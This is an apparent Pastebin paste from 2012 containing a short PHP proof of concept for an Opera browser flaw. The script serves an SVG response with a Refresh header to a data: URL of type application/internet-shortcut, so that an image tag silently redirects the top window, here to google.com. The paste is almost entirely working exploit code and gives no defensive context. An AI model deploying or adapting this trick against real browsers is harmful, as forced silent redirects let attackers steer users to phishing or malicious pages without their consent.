Guest User

Opera Redirect via img-tag vuln PoC.

a guest
Oct 8th, 2012
434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php /*
  2. Opera handle "application/internet-shortcut" type by itself (simple .url-file), and open it silently in the current tab. Also in a top window. So we are able to load url-file via SVG-image into <img-tag.
  3. Or, just for beauty, load it via Refresh-header in a data:url.
  4. */
  5.  
  6. header('Content-type: image/svg+xml');
  7. header('Refresh: 0;url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3D'.urlencode('http://google.com/'));
  8. echo '<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />'; /* optional, to prevent red error page instead of image. */
Advertisement
Add Comment
Please, Sign In to add comment